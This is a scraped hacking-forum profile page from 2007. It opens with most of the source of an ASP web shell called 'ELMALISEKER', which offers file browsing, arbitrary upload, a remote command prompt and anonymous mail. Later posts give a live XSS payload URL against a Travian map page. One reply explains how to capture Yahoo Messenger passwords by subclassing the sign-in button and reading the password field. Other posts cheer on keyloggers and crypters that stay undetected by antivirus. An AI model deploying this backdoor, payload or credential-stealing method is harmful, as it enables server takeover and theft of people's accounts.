if f1.datelastmodified = "" then
response.write("<td align=center nowrap>....</td>")
else
response.write("<td align=center nowrap>" & f1.datelastmodified & "</td>")
end if
response.write("<td align=center nowrap>" & f1.shortname & "</td>")
response.write("<td align=center nowrap>" & f1.shortpath & "</td></tr>")
end if
else
if lcase(right(f1.name,(len(ShowPrefix)))) = lcase(ShowPrefix) then
response.write("<tr><td><input type=radio name=FileName value=" & chr(34) & FP & f1.name & chr(34) & ">" & f1.name & "</td></tr>")
end if
end if
Next
response.write("</table>")
response.write("</form>")
End Function
%>
<STYLE>
BODY
{scrollbar-face-color: #f8f8ff; scrollbar-shadow-color: #cccccc;
scrollbar-highlight-color: #cccccc; scrollbar-3dlight-color: #cccccc;
scrollbar-darkshadow-color: #000000; scrollbar-track-color: #000000;
scrollbar-arrow-color: #000000}
</STYLE>
</head>
<body bgcolor=#000000 text=#00FF00>
<center>
<font color="#00FF00">NTDADDY

BU BIR ELMALI SEKERDIR;) YILLARDIR BUYUK BABALAR 
TARAFINDAN BILINMESINE RAGMEN DAGITILMIYORDU

AMA BUGUN AHA SIZ EVLATLARIMIZA VERIYOZ CUNKU BIZ BUNUN BABASINI YAPTIK BU DA 
SIZIN OLSUN</p></font>
<hr color="#ffffff">
<table border=1 width="100%" color="#fffff">
<tr>
<td align=center width=100% bgcolor=#ffffff><font color=#00FF00><a name=lblCurrentPath value=
<% 
FP=Request.Form("FolderPath")
if FP = "RefreshFolder" or request.form("cmdOption")="DeleteFolder" or request.form("cmdOption")="CopyFolder" or request.form("cmdOption")="SetFolderAttributes" then
FP=request.form("RefreshFolderPath")
end if
response.write(chr(34) & IP & chr(34) & ">" & FP)
%>
</a></td>
</tr>
</table>
<table border=0 cellspacing=1 bordercolor="#ffffff" width=100% height=100%>
<tr colspan=3><td align=left colspan=3><% =ShowDriveLetters() %></td>
<td align=center></td></tr>
<tr valign=top width=100%><td align=left><% =ShowFolderNames() %></td>
<td align=right><% =ShowFileNames() %></td>
</tr>
</table>
<font color="#00FF00">

</font><hr color="#ffffff"><font color="#00FF00">

</font>
<table cellpadding="3" cellspacing="3" border="5" bordercolor="#ffffff">
<tr>
<td align="left" bgcolor="#F8F8FF">
<font color="#00FF00" size="4">[b]• Remote Info.[/b]</font><font color="#00FF00">
</font>
</td>
<td align="left" bgcolor="#F8F8FF">
<font color="#00FF00" size="4">[b]• Local Info.[/b]</font><font color="#00FF00">
</font>
</td>
</tr>
<tr>
<td align=left>
<div align=left><font size="3" color="#00FF00">
[b]User[/b]: <%= "\\" & oScriptNet.ComputerName & " \ " & oScriptNet.UserName %> 

[b]ID[/b]: <%=request.servervariables("SERVER_NAME")%> 

[b]IP[/b]: <%=request.servervariables("LOCAL_ADDR")%> 

[b]HTTPD[/b]: <%=request.servervariables("SERVER_SOFTWARE")%> [b]Port[/b]: <%=request.servervariables("SERVER_PORT")%> 

[b]Webroot[/b]: <%=request.servervariables("APPL_PHYSICAL_PATH")%> 

[b]LogRoot[/b]: <%=request.servervariables("APPL_MD_PATH")%> 

[b]Date[/b]: <% =date() %> 

[b]Time[/b]: <%=time() %> 

[b]HTTPs[/b]: <%=request.servervariables("HTTPS")%>

</font></div>
</td>
<td align="left" valign="top">
<font color="#00FF00">
[b]Local Addr (What they see.)[/b]: <%=request.servervariables("REMOTE_ADDR")%> 

[b]Forwarded from[/b] : <%=request.servervariables("HTTP_X_FORWARDED_FOR")%> 

[b]Via[/b]: <%=request.servervariables("HTTP_VIA")%> 

[b]User Agent[/b]: <%=request.servervariables("HTTP_USER_AGENT")%> 

[b]Wookie[/b]: <%=request.servervariables("HTTP_WOOKIE")%> 

[b]Cache Control[/b]: <%=request.servervariables("HTTP_CACHE_CONTROL")%> 

[b]Interface[/b]: <%=request.servervariables("GATEWAY_INTERFACE")%> 

[b]Protocol[/b]: <%=request.servervariables("SERVER_PROTOCOL")%> 

[b]Method[/b]: <%=request.servervariables("REQUEST_METHOD")%> </font>
</td>
</tr>
</table>
<font color="#00FF00">


</font>
<hr color="#ffffff">
<font color="#00FF00">


</font>
<table cellpadding="3" cellspacing"1" bordercolor="#F8F8FF" border=5>
<tr>
<td align="left" bgcolor="#F8F8FF">
<font size="2" color="#00FF00">[b]• File Upload Utility[/b]</font></td>
</tr>
<tr>
<td align="left">
<form method=post ENCTYPE="multipart/form-data">
<font color="#00FF00">
[b]File[/b] : <input type="file" size="35" name="File1">

<input type="submit" Name="Action" value="Upload the file"> </font>
</form></td>
</tr>
<tr>
<td align="left" bgcolor="#F8F8FF">
<font size="2" color="#00FF00">[b]• RAW D.O.S. COMMAND INTERFACE[/b]</font></td>
</tr>
<tr valign="top">
<td align="left">
<form action="<%= Request.ServerVariables("URL") %>" method="POST">


<font color="#00FF00"><input type="text" name=".CMD" size="45" value="<%= szCMD %>"> <input type="submit" value="Run">
</font> </p>
</form>
<pre><font color="#00FF00"><%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</font></pre>
</td>
</tr>
</table>
<font color="#00FF00">


</font>
<hr color="#ffffff">
<font color="#00FF00">


</font>
<form action=elmaliseker.asp method=post>
<form action=elmaliseker.asp method=post>
<table border=3 cellpadding="3" cellspacing="2" bordercolor="#ffffff" width="400">
<tr>
<td bgcolor="#F8F8FF" colspan="2"><font color="#00FF00" align="left">[b]• Anonymous Email Utility[/b]</font></td>
<tr>
<td bgcolor="#F8F8FF"><font color="#00FF00">[b]From:[/b] </font> </td>
<td><font color="#00FF00"><input name=From size=30 style="HEIGHT: 22px; WIDTH: 321px"></font></td></tr>
<tr>
<td bgcolor="#F8F8FF"><font color="#00FF00">[b]To:[/b] </font> </td>
<td><font color="#00FF00"><input name=To size=30 style="HEIGHT: 22px; WIDTH: 321px"></font></td></tr>
<tr>
<td bgcolor="#F8F8FF"><font color="#00FF00">[b]Subject:[/b] </font> </td>
<td><font color="#00FF00"><input name=Subject size=30 style="HEIGHT: 22px; WIDTH: 321px"></font></td></tr>
<tr>
<td valign="top" bgcolor="#F8F8FF"><font color="#00FF00">[b]Body:[/b] </font> </td>
<td><font color="#00FF00"><textarea cols=30 name=Body rows=5 style="HEIGHT: 86px; WIDTH: 322px" wrap=virtual></textarea></font></td>
</tr>
<tr>
<td align="right" bgcolor="#F8F8FF" colspan="2">
<font color="#00FF00">
<input type="submit" value="Send Mail">
<input type="hidden" name="flag" value="1"></font></td>
</tr>
</table>
<font color="#00FF00">


</font>
<hr color="#ffffff">
<font size="#ffffff"><center></center>
</font>
<font color="#00FF00">
</body>
</font>
</html>
<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>
Const IncludeType = 2 
Dim UploadSizeLimit
Function GetUpload()
Dim Result
Set Result = Nothing
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then 
Dim CT, PosB, Boundary, Length, PosE
CT = Request.ServerVariables("HTTP_Content_Type") 
If LCase(Left(CT, 19)) = "multipart/form-data" Then 
PosB = InStr(LCase(CT), "boundary=") 
If PosB > 0 Then Boundary = Mid(CT, PosB + 9) 
PosB = InStr(LCase(CT), "boundary=") 
If PosB > 0 then 
PosB = InStr(Boundary, ",")
If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)
end if
Length = CLng(Request.ServerVariables("HTTP_Content_Length")) 
If "" & UploadSizeLimit <> "" Then
UploadSizeLimit = CLng(UploadSizeLimit)
If Length > UploadSizeLimit Then
Request.BinaryRead (Length)
Err.Raise 2, "GetUpload", "Upload size " & FormatNumber(Length, 0) & "B exceeds limit of " & FormatNumber(UploadSizeLimit, 0) & "B"
Exit Function
End If
End If
If Length > 0 And Boundary <> "" Then 
Boundary = "--" & Boundary
Dim Head, Binary
Binary = Request.BinaryRead(Length) 
Set Result = SeparateFields(Binary, Boundary)
Binary = Empty 
Else
Err.Raise 10, "GetUpload", "Zero length request."
End If
Else
Err.Raise 11, "GetUpload", "No file sent."
End If
Else
Err.Raise 1, "GetUpload", "Bad request method."
End If
Set GetUpload = Result
End Function
Function SeparateFields(Binary, Boundary)
Dim PosOpenBoundary, PosCloseBoundary, PosEndOfHeader, isLastBoundary
Dim Fields
Boundary = StringToBinary(Boundary)
PosOpenBoundary = InStrB(Binary, Boundary)
PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary, 0)
Set Fields = CreateObject("Scripting.Dictionary")
Do While (PosOpenBoundary > 0 And PosCloseBoundary > 0 And Not isLastBoundary)
Dim HeaderContent, FieldContent, bFieldContent
Dim Content_Disposition, FormFieldName, SourceFileName, Content_Type
Dim Field, TwoCharsAfterEndBoundary
PosEndOfHeader = InStrB(PosOpenBoundary + Len(Boundary), Binary, StringToBinary(vbCrLf + vbCrLf))
HeaderContent = MidB(Binary, PosOpenBoundary + LenB(Boundary) + 2, PosEndOfHeader - PosOpenBoundary - LenB(Boundary) - 2)
bFieldContent = MidB(Binary, (PosEndOfHeader + 4), PosCloseBoundary - (PosEndOfHeader + 4) - 2)
GetHeadFields BinaryToString(HeaderContent), Content_Disposition, FormFieldName, SourceFileName, Content_Type
Set Field = CreateUploadField() 
Set FieldContent = CreateBinaryData()
FieldContent.ByteArray = bFieldContent
FieldContent.Length = LenB(bFieldContent)
Field.Name = FormFieldName
Field.ContentDisposition = Content_Disposition
Field.FilePath = SourceFileName
Field.FileName = GetFileName(SourceFileName)
Field.ContentType = Content_Type
Field.Length = FieldContent.Length
Set Field.Value = FieldContent
Fields.Add FormFieldName, Field
TwoCharsAfterEndBoundary = BinaryToString(MidB(Binary, PosCloseBoundary + LenB(Boundary), 2))
isLastBoundary = TwoCharsAfterEndBoundary = "--"
If Not isLastBoundary Then 
PosOpenBoundary = PosCloseBoundary
PosCloseBoundary = InStrB(PosOpenBoundary + LenB(Boundary), Binary, Boundary)
End If
Loop
Set SeparateFields = Fields
End Function
Function GetHeadFields(ByVal Head, Content_Disposition, Name, FileName, Content_Type)
Content_Disposition = LTrim(SeparateField(Head, "content-disposition:", ";"))
Name = (SeparateField(Head, "name=", ";")) 
If Left(Name, 1) = """" Then Name = Mid(Name, 2, Len(Name) - 2)
FileName = (SeparateField(Head, "filename=", ";")) 
If Left(FileName, 1) = """" Then FileName = Mid(FileName, 2, Len(FileName) - 2)
Content_Type = LTrim(SeparateField(Head, "content-type:", ";"))
End Function
Function SeparateField(From, ByVal sStart, ByVal sEnd)
Dim PosB, PosE, sFrom
sFrom = LCase(From)
PosB = InStr(sFrom, sStart)
If PosB > 0 Then
PosB = PosB + Len(sStart)
PosE = InStr(PosB, sFrom, sEnd)
If PosE = 0 Then PosE = InStr(PosB, sFrom, vbCrLf)
If PosE = 0 Then PosE = Len(sFrom) + 1
SeparateField = Mid(From, PosB, PosE - PosB)
Else
SeparateField = Empty
End If
End Function
Function GetFileName(FullPath)
Dim Pos, PosF
PosF = 0
For Pos = Len(FullPath) To 1 Step -1
Select Case Mid(FullPath, Pos, 1)
Case "/", "\": PosF = Pos + 1: Pos = 0
End Select
Next
If PosF = 0 Then PosF = 1
GetFileName = Mid(FullPath, PosF)
End Function
Function BinaryToString(Binary)
dim cl1, cl2, cl3, pl1, pl2, pl3
Dim L
cl1 = 1
cl2 = 1
cl3 = 1
L = LenB(Binary)
Do While cl1<=L
pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1)))
cl1 = cl1 + 1
cl3 = cl3 + 1
if cl3>300 then
pl2 = pl2 & pl3
pl3 = ""
cl3 = 1
cl2 = cl2 + 1
if cl2>200 then
pl1 = pl1 & pl2
pl2 = ""
cl2 = 1
End If
End If
Loop
BinaryToString = pl1 & pl2 & pl3
End Function
Function BinaryToStringold(Binary)
Dim I, S
For I = 1 To LenB(Binary)
S = S & Chr(AscB(MidB(Binary, I, 1)))
Next
BinaryToString = S
End Function
Function StringToBinary(String)
Dim I, B
For I=1 to len(String)
B = B & ChrB(Asc(Mid(String,I,1)))
Next
StringToBinary = B
End Function
Function vbsSaveAs(FileName, ByteArray)
Dim FS, TextStream
Set FS = CreateObject("Scripting.FileSystemObject")
Set TextStream = FS.CreateTextFile(FileName)
TextStream.Write BinaryToString(ByteArray) 
TextStream.Close
End Function
</SCRIPT>
<SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
function CreateUploadField(){ return new uf_Init() }
function uf_Init(){
this.Name = null
this.ContentDisposition = null
this.FileName = null
this.FilePath = null
this.ContentType = null
this.Value = null
this.Length = null
}
function CreateBinaryData(){ return new bin_Init() }
function bin_Init(){
this.ByteArray = null
this.Length = null
this.String = jsBinaryToString
this.SaveAs = jsSaveAs
}
function jsBinaryToString(){
return BinaryToString(this.ByteArray)
}
function jsSaveAs(FileName){
return vbsSaveAs(FileName, this.ByteArray)
}
</SCRIPT>
<%
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then 
Set Fields = GetUpload()
FilePath = Server.MapPath(".") & "\" & Fields("File1").FileName
Fields("File1").Value.SaveAs FilePath
End If
%>
<%
Else
Dim anonFrom,anonTo,anonSubj,anonBody
anonFrom = request.form("From")
anonTo = request.form("To")
anonSubj = request.form("Subject")
anonBody = request.form("Body")
Set objMail = CreateObject("CDONTS.NewMail")
objMail.From=anonFrom
objMail.To=anonTo
objMail.Subject=anonSubj
objMail.Body=anonBody
intReturn=objMail.Send()
%>
<html>
<head><font color="#00FF00"><title>:::: DESERTSUN SERVER CRASHER ::::</title></head>
<h1>Message sent successfully!</h1>



</font>
<table border=0 cellpadding="0" cellspacing="3">
<tr>
<td>
<font color="#00FF00">
<input type='button' value='Back' onclick=history.back()> </font> </td>
<td>
<h2><font color="#00FF00">]</font></h2> </td>
</tr>
</table>
</html>
<%
End if
%>

October 11, 2007

Foarte lung codul asa ca l-am pus intr-un notepad

Download: http://rapidshare.com/files/61820363/dC3_Security_Crew_Shell__PRIVAT_.txt

October 11, 2007

Ras, vezi ca la tine nu este bine rezolvat...probabil ai aplicat un patch .
virusz, felicitari pentru keygen .

am si scris in postul meu ca nu l-am facut eu

a fost un amic la mine si nu m-a interesat cum l-a facut...

October 10, 2007

nu l-am facut eu...

October 10, 2007

Acum fara nicio incercare de lauda dar la voi cum apare pe pagina http://www.xssed.com/pagerank ? Eu pe primul loc si Ras pe al doilea? Sau e doar la mine cumva? Inainte era alta ordine in clasament si de aia intreb.

tu pe primu si eu pe al doilea

October 9, 2007

sunt tuns periutza

si zbeng tatuajul tau arata a photoshop :)) ))))

October 9, 2007

Banuiesc ca este nedetectabil pentru ca nu ai scris functia de adaugare a programului la StartUp (scriere in registrii, care este detectata de majoritatea antivirusilor). Pe langa asta, sper ca ti-ai dat seama ca faza cu "Close Y! M" nu este prea utila, pentru ca majoritatea oamenilor au optiunea Remember my ID & Password activata... Eee, bun ! Sa iti spun cum ai putea sa faci sa "capturezi" cumva parola aceea, chiar daca are optiunea aia activata. Ori scrii un DLL care il injectezi in procesul Yahoo! Messengerului, ori injectezi direct cod. Ce cod ? Un cod care subclaseaza butonul &Sign In (pentru asta ii gasesti handleul cu FindWindow si FindWindowEx) si verifica daca primeste mesaje de gen: WM_COMMAND (din cate stiu eu, trimiterea acestui mesaj are loc cand este apasat respectivul buton). Folosind functia WindowProc (CallBack), daca parametrul uMsg este WM_COMMAND, atunci gasesti handleul TextBoxului in care se introduce parola si preiei acest text folosind APIul GetWindowText (tine minte, al 2-lea parametru este un buffer). Apoi trimiti mesajul inapoi la buton folosind CallWindowProc .
Sper ca am fost destul de explicit (thnx lui Shocker pentru explicarea unor nelamuriri).
In rest, este un keylogger ca oricare altul. Oricum, good job !

are functia de adaugare la startup!

October 9, 2007

Intrati pe

www.travian.com/links.php

apoi dati un click pe Worldmap si o sa va deschida inca o fereastra cu adresa asta:

http://map.travian.org/index.php?lang=en

apoi stergeti en si puneti

"><script>alert('Ras-RST')</script>

XSS:

http://map.travian.org/index.php?lang="><script>alert('Ras-RST')</script>

EDIT

am sa mai caut diseara.

October 8, 2007

Imi place pt ca este simplu si poate sa il foloseasca oricine.

L-am trimis unui amic care foloseste BitDefender(nu stiu ce versiune) si nu l-a gasit ca virus.

Acum sa vedem cat timp se mentine FUD...

Good job yonyx

October 8, 2007

Folosesc Mozilla Firefox... am si Opera instalat, dar nu prea imi place.

October 8, 2007

declaratia lu' flama e tare :lol: :lol:

October 7, 2007

degeaba il luam daca nu avem licenta

Nu am voie sa iti dau licenta/crack/serial. Te asigur eu ca in arhiva care am pus-o eu acum ceva timp nu era licenta/crack/serial.

Daca puneam licenta/crack/serial luam avertisment...

Daca nu puneam homepage luam avertisment... [am luat 1 acum ceva timp]

October 7, 2007

Link:

Filip este cel din dreapta si Ghena este cel din stanga.

O sa il auzit pe Filip cum spune: "Lasa ca o sun eu pe mamaie" :)) ))

October 7, 2007

ce tare iese grasu ala :))

October 7, 2007

Pare frumos si util programul, dar e expirat link-ul!

intra pe site-ul lor http://www.smartpctools.com apoi dai la Products, dai putin de scroll in jos si ai acolo Smart PC Professional si dai download

Sign In

Ras

Posts

Joined

Last visited

Days Won

Content Type

Profiles

Forums

Posts posted by Ras

DarkLabel 1.0 B2

[B]inder v1.2 (99% Undetected)

Hell Crypter

DUELS XSS pack

X-Crypter 1.0

Ghosts, Spirits and Demons

arp poison

X-Binder 1.1

X-Crypter 1.0

rootexploits + Backdoors + shells

[VBScript] ELMALISEKER Backd00r

dC3 Security Crew Shell [PRIVATE]

Just Crack Me 1.0

Just Crack Me 1.0

xss archive

CE FREZE AVETI?? CUM VA PLACE SA VA IMBRACATI??

Digital Keylogger by Nytro

TRAVIAN XSS pack

Digital Keylogger by Nytro

Ce browser folositi ?

Flama si mozi filmati pe ascuns

Smart PC Professional v5.1

Filip vs Ghena

Caterinca mare

Smart PC Professional v5.1

Browse

Activity

Pages